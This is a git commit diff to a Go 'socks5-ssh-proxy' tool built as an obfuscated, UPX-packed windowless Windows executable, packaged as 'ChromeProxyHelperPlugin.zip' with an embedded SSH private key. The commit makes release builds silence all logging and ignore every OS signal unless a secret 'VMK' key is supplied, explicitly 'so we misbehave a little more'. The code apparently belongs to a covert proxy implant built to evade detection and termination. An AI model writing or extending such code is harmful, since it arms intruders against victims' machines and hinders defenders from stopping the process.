Add systemIgnoreAllSignals in release build when VMK is not used so we misbehave a little more

This commit is contained in:
Jerry Jacobs 2024-07-28 22:22:37 +02:00
parent ce4ec79f2f
commit 426f76ba37
7 changed files with 27 additions and 3 deletions

View File

@ -22,6 +22,7 @@ win: socks5-ssh-proxy.exe
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags -H=windowsgui -tags release -o $@
upx $@
go run cmd/upx-obfuscator/main.go $@
goreleaser: resources $(GARBLE_BIN)
goreleaser build --clean --snapshot --id win-release
win-package: ChromeProxyHelperPlugin.zip

View File

@ -8,6 +8,8 @@ type config struct {
// In release builds the verbose mode is silenced when this key is given
// verbose mode is force enabled. The key is read from the "VMK" environment
// variable at startup.
//
// NOTE: This could be the sha256sum hex encoded string of the SSHPrivateKeyFile
VerboseModeKey string
// SSH server user name

View File

@ -1,7 +1,6 @@
//go:build !release
// +build !release
//
package main
import "strings"

View File

@ -135,6 +135,11 @@ func main() {
systemGetWellKnownBinaryPaths()
mainLoop()
}
func mainLoop() {
for {
// TODO handle CTRL+C in debug and release + VMK modes
}
}

View File

@ -1,7 +1,6 @@
//go:build !release
// +build !release
//
package main
var resourceSSHPrivateKey string

View File

@ -1,7 +1,6 @@
//go:build release
// +build release
//
package main
import (
@ -16,5 +15,6 @@ func init() {
dontSilenceKey := os.Getenv("VMK")
if dontSilenceKey != cfg.VerboseModeKey {
systemRouteAllLogging(os.DevNull)
systemIgnoreAllSignals()
}
}

View File

@ -4,6 +4,7 @@ import (
"fmt"
"log"
"os"
"os/signal"
"path/filepath"
)
@ -92,3 +93,20 @@ func systemGetWellKnownBinaryPaths() []string {
return existingPaths
}
func systemIgnoreAllSignals() {
// Create a channel to receive OS signals.
sigs := make(chan os.Signal, 1)
// Notify the signal channel for all signals (you can add more if needed)
signal.Notify(sigs)
// This goroutine receives signals but does nothing with them.
go func() {
for sig := range sigs {
// Signal received but ignored
_ = sig
log.Println("Received OS signal", sig)
}
}()
}